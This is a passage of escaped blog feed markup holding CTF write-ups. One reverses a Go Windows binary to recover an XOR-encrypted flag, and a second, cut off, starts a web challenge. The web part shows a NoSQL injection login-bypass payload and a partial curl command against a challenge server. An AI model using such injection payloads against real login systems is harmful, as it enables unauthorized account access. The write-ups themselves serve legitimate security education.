href=&quot;#rait-ctf-finals-reverse-2---employee-manager&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;RAIT-CTF{p4tches_g3ts_y0u_M4TCH3SSS}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Approach (Step by Step)&lt;a href=&quot;#approach-step-by-step&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;h3&gt;Binary Information&lt;a href=&quot;#binary-information&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The target binary is a 64-bit Windows executable written in Go, featuring a GUI built with the Fyne framework.&lt;/p&gt;





























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Property&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;File Name&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;employee_manager.exe&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Architecture&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;PE32+ (x64)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Language&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Go (with Fyne GUI framework)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Image Base&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x140000000&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Entry Point&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x1400013e0&lt;/code&gt; (mainCRTStartup)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;Challenge Architecture&lt;a href=&quot;#challenge-architecture&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The binary implements a tabbed GUI application with two distinct unlock mechanisms:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Tab 1: “Employee Manager”&lt;/strong&gt; - Validates employee credentials with time-based constraints.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tab 2: “Redeem Coupon”&lt;/strong&gt; - Validates a coupon code with input length restrictions.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Each tab, when successfully validated, decrypts a portion of the flag using XOR encryption with a shared key. The flag is split into two parts stored as encrypted byte arrays in the binary’s data section.&lt;/p&gt;
&lt;h3&gt;Encryption Mechanism &amp;amp; XOR Key&lt;a href=&quot;#encryption-mechanism--xor-key&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Both flag components use the same encryption key for the XOR cipher.&lt;/p&gt;















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Symbol&lt;/th&gt;&lt;th&gt;Address&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;main.key&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x140795a20&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x55&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;Decryption Algorithm&lt;a href=&quot;#decryption-algorithm&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The decryption logic, found in both &lt;code&gt;main.main.func1&lt;/code&gt; and &lt;code&gt;main.main.func3&lt;/code&gt;, implements a simple XOR cipher against the &lt;code&gt;main.key&lt;/code&gt; (&lt;code&gt;0x55&lt;/code&gt;).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; i &lt;/span&gt;&lt;span&gt;:=&lt;/span&gt;&lt;span&gt; 0&lt;/span&gt;&lt;span&gt;; i &lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt; len&lt;/span&gt;&lt;span&gt;(encrypted_array); i&lt;/span&gt;&lt;span&gt;++&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    decrypted[i] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; encrypted_array[i] &lt;/span&gt;&lt;span&gt;^&lt;/span&gt;&lt;span&gt; main.key&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is the equivalent Assembly implementation at &lt;code&gt;0x14070a742&lt;/code&gt; (&lt;code&gt;func1&lt;/code&gt;) and &lt;code&gt;0x14070a235&lt;/code&gt; (&lt;code&gt;func3&lt;/code&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;MOVZX&lt;/span&gt;&lt;span&gt; ESI&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;byte&lt;/span&gt;&lt;span&gt; ptr [&lt;/span&gt;&lt;span&gt;RDX&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;RBX&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;0x1&lt;/span&gt;&lt;span&gt;]  &lt;/span&gt;&lt;span&gt;; Load encrypted byte&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;MOVZX&lt;/span&gt;&lt;span&gt; EDI&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;byte&lt;/span&gt;&lt;span&gt; ptr [&lt;/span&gt;&lt;span&gt;0x140795a20&lt;/span&gt;&lt;span&gt;]    &lt;/span&gt;&lt;span&gt;; Load key (0x55)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;XOR&lt;/span&gt;&lt;span&gt;   ESI&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;EDI&lt;/span&gt;&lt;span&gt;                       ; XOR decrypt&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;MOV&lt;/span&gt;&lt;span&gt;   byte&lt;/span&gt;&lt;span&gt; ptr [&lt;/span&gt;&lt;span&gt;RAX&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;RBX&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;0x1&lt;/span&gt;&lt;span&gt;], &lt;/span&gt;&lt;span&gt;SIL&lt;/span&gt;&lt;span&gt;  ; Store result&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Tab 1: Employee Manager (Flag Part 1)&lt;a href=&quot;#tab-1-employee-manager-flag-part-1&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This tab’s validation logic is handled by &lt;code&gt;main.main.func1&lt;/code&gt; at &lt;code&gt;0x14070a320&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Credential Requirements&lt;a href=&quot;#credential-requirements&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;




















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Required Value&lt;/th&gt;&lt;th&gt;Validation&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Employee Name&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;raitadmin&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Case-insensitive, trimmed, lowercased&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Employee ID&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;1337&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Exact match (checked as integer &lt;code&gt;0x37333331&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;Time-Based Validation&lt;a href=&quot;#time-based-validation&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The challenge implements a time-based check that requires execution during a specific time window:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Hour Check&lt;/strong&gt;: &lt;code&gt;(seconds_since_epoch % 86400) / 3600 == 3&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;This requires execution during the 3 AM hour (03:00-03&lt;div&gt;&lt;/div&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Minute Check&lt;/strong&gt;: Complex calculation requiring &lt;code&gt;((seconds % 3600) / magic_constant) &amp;gt;&amp;gt; 5 == 0x21&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;This effectively requires a specific minute within the hour.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Encrypted Flag Storage &amp;amp; Decryption&lt;a href=&quot;#encrypted-flag-storage--decryption&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The encrypted flag part 1 is stored as a Go slice header pointing to a byte array.&lt;/p&gt;






























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Component&lt;/th&gt;&lt;th&gt;Address&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Slice Header&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x140eda6e0&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;{array_ptr, len, cap}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Array Pointer&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x1407980d0&lt;/code&gt;&lt;/td&gt;&lt;td&gt;(points to encrypted data)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Length&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;25 bytes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Capacity&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;25 bytes&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Encrypted (hex)&lt;/strong&gt;: &lt;code&gt;2534272178646f7507141c01781601132e256121363d30260a&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Decrypted&lt;/strong&gt;: &lt;code&gt;part-1: RAIT-CTF{p4tches_&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tab 2: Redeem Coupon (Flag Part 2)&lt;a href=&quot;#tab-2-redeem-coupon-flag-part-2&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This tab’s logic involves two functions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Entry Validation&lt;/strong&gt;: &lt;code&gt;main.main.func2&lt;/code&gt; at &lt;code&gt;0x14070a2c0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Redemption Handler&lt;/strong&gt;: &lt;code&gt;main.main.func3&lt;/code&gt; at &lt;code&gt;0x14070a140&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Input Length Contradiction&lt;a href=&quot;#input-length-contradiction&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The challenge presents an intentional contradiction:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;func2&lt;/code&gt; limits input to a maximum of 5 characters.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;func3&lt;/code&gt; requires exactly 8 characters for validation.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;This suggests the validation may need to be bypassed or the input restriction circumvented in memory.&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Coupon Code Validation&lt;a href=&quot;#coupon-code-validation&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The redemption handler checks the input against a hardcoded 8-byte value stored in little-endian format.&lt;/p&gt;

























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Check&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Length&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;8 bytes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Expected Value (hex)&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x21214d3333443352&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Expected Value (LE bytes)&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;52 33 44 33 33 4d 21 21&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Expected Value (ASCII)&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;R3D33M!!&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Assembly implementation at &lt;code&gt;0x14070a166&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;CMP&lt;/span&gt;&lt;span&gt; qword&lt;/span&gt;&lt;span&gt; ptr [&lt;/span&gt;&lt;span&gt;RSI&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;0x78&lt;/span&gt;&lt;span&gt;], &lt;/span&gt;&lt;span&gt;0x8&lt;/span&gt;&lt;span&gt;      ; Check length == 8&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;JNZ&lt;/span&gt;&lt;span&gt; fail&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;MOV&lt;/span&gt;&lt;span&gt; RSI&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;qword&lt;/span&gt;&lt;span&gt; ptr [&lt;/span&gt;&lt;span&gt;RSI&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;0x70&lt;/span&gt;&lt;span&gt;]      &lt;/span&gt;&lt;span&gt;; Get string data pointer&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;MOV&lt;/span&gt;&lt;span&gt; R9&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;0x21214d3333443352&lt;/span&gt;&lt;span&gt;         ; Load expected value&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;CMP&lt;/span&gt;&lt;span&gt; qword&lt;/span&gt;&lt;span&gt; ptr [&lt;/span&gt;&lt;span&gt;RSI&lt;/span&gt;&lt;span&gt;], &lt;/span&gt;&lt;span&gt;R9&lt;/span&gt;&lt;span&gt;            ; Compare first 8 bytes&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Encrypted Flag Storage &amp;amp; Decryption&lt;a href=&quot;#encrypted-flag-storage--decryption-1&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The encrypted flag part 2 is also stored via a Go slice.&lt;/p&gt;






























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Component&lt;/th&gt;&lt;th&gt;Address&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Slice Header&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x140eda700&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;{array_ptr, len, cap}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Array Pointer&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x140797530&lt;/code&gt;&lt;/td&gt;&lt;td&gt;(points to encrypted data)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Length&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;19 bytes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Capacity&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;19 bytes&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Encrypted (hex)&lt;/strong&gt;: &lt;code&gt;326621260a2c65200a186101161d6606060628&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Decrypted&lt;/strong&gt;: &lt;code&gt;g3ts_y0u_M4TCH3SSS}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Combining both decrypted parts gives the final flag:
&lt;code&gt;RAIT-CTF{p4tches_g3ts_y0u_M4TCH3SSS}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Analysis Methodology&lt;a href=&quot;#analysis-methodology&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;h3&gt;Tools Used&lt;a href=&quot;#tools-used&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Ghidra&lt;/strong&gt; - Static analysis and decompilation&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Python&lt;/strong&gt; - Binary parsing and data extraction&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PE file format analysis&lt;/strong&gt; - Virtual address to file offset mapping&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Analysis Steps&lt;a href=&quot;#analysis-steps&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Identified main GUI setup function (&lt;code&gt;main.main&lt;/code&gt; @ &lt;code&gt;0x140709820&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Located and decompiled three callback functions (&lt;code&gt;func1&lt;/code&gt;, &lt;code&gt;func2&lt;/code&gt;, &lt;code&gt;func3&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Analyzed validation logic and identified credential requirements.&lt;/li&gt;
&lt;li&gt;Located XOR decryption loops in both &lt;code&gt;func1&lt;/code&gt; and &lt;code&gt;func3&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Found &lt;code&gt;main.key&lt;/code&gt; global variable through cross-references.&lt;/li&gt;
&lt;li&gt;Disassembled validation functions to identify slice header addresses.&lt;/li&gt;
&lt;li&gt;Extracted &lt;code&gt;main.f1&lt;/code&gt; and &lt;code&gt;main.f2&lt;/code&gt; slice headers from data section.&lt;/li&gt;
&lt;li&gt;Mapped virtual addresses to file offsets in PE binary.&lt;/li&gt;
&lt;li&gt;Read encrypted byte arrays from file.&lt;/li&gt;
&lt;li&gt;Decrypted both arrays using XOR with key &lt;code&gt;0x55&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Combined decrypted parts to form complete flag.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Key Addresses Reference&lt;a href=&quot;#key-addresses-reference&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;h3&gt;Functions&lt;a href=&quot;#functions&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;






























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Function&lt;/th&gt;&lt;th&gt;Address&lt;/th&gt;&lt;th&gt;Purpose&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;main.main&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x140709820&lt;/code&gt;&lt;/td&gt;&lt;td&gt;GUI setup and initialization&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;main.main.func1&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x14070a320&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Employee Manager validation (Part 1)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;main.main.func2&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x14070a2c0&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Coupon entry validation&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;main.main.func3&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x14070a140&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Coupon redemption handler (Part 2)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;Global Variables&lt;a href=&quot;#global-variables&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;





























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Symbol&lt;/th&gt;&lt;th&gt;Virtual Address&lt;/th&gt;&lt;th&gt;File Offset&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;main.key&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x140795a20&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x794a20&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x55&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;main.f1&lt;/code&gt; (slice)&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x140eda6e0&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0xed96e0&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;{ptr, len, cap}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;main.f2&lt;/code&gt; (slice)&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x140eda700&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0xed9700&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;{ptr, len, cap}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;Encrypted Data Arrays&lt;a href=&quot;#encrypted-data-arrays&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Array&lt;/th&gt;&lt;th&gt;Virtual Address&lt;/th&gt;&lt;th&gt;File Offset&lt;/th&gt;&lt;th&gt;Length&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;main.f1.array&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x1407980d0&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x7970d0&lt;/code&gt;&lt;/td&gt;&lt;td&gt;25 bytes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;main.f2.array&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x140797530&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x796530&lt;/code&gt;&lt;/td&gt;&lt;td&gt;19 bytes&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;</content:encoded><category>category:Writeups</category><category>category:RAIT-CTF 2026 Finals</category><category>tag:RAIT-CTF</category><category>tag:Reverse Engineering</category></item><item><title>RAIT-CTF Finals Web 1</title><link>https://shubhsec.dev/post/writeups/rait-ctf-finals-web-1</link><guid isPermaLink="false">writeups/rait-ctf-finals-web-1</guid><description>Writeup for RAIT-CTF Finals Web 1 from RAIT-CTF 2026 Finals.</description><pubDate>Mon, 06 Jul 2026 17:15:00 GMT</pubDate><content:encoded>&lt;h1&gt;RAIT-CTF Finals Web 1&lt;a href=&quot;#rait-ctf-finals-web-1&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;RAIT-CTF{l0g_p01s0n1ng_plu5_sst1_equ4ls_rc3}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Approach (Step by Step)&lt;a href=&quot;#approach-step-by-step&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;h3&gt;1. Authentication Bypass (NoSQL Injection)&lt;a href=&quot;#1-authentication-bypass-nosql-injection&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Visiting &lt;code&gt;http://34.0.14.121:9954/login&lt;/code&gt; reveals a login form. Analyzing the source code shows that the form submits data as JSON:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;const&lt;/span&gt;&lt;span&gt; res&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; await&lt;/span&gt;&lt;span&gt; fetch&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;/login&apos;&lt;/span&gt;&lt;span&gt;, {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    method: &lt;/span&gt;&lt;span&gt;&apos;POST&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    headers: { &lt;/span&gt;&lt;span&gt;&apos;Content-Type&apos;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&apos;application/json&apos;&lt;/span&gt;&lt;span&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    body: &lt;/span&gt;&lt;span&gt;JSON&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;stringify&lt;/span&gt;&lt;span&gt;({ username, password })&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can bypass the authentication by exploiting a NoSQL injection vulnerability. By passing an object operator like &lt;code&gt;$ne&lt;/code&gt; (not equal), we force the query to evaluate to true.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &quot;username&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;span&gt;&quot;$ne&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;null&lt;/span&gt;&lt;span&gt;},&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &quot;password&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;span&gt;&quot;$ne&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;null&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can use &lt;code&gt;curl&lt;/code&gt; to trigger this login and save the resulting session cookie:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;curl&lt;/span&gt;&lt;span&gt; -X&lt;/span&gt;&lt;span&gt; POST&lt;/span&gt;&lt;span&gt; http://34.0.14.121:9954/login&lt;/span&gt;&lt;span&gt; \&lt;/span&gt;&lt;/span&gt;
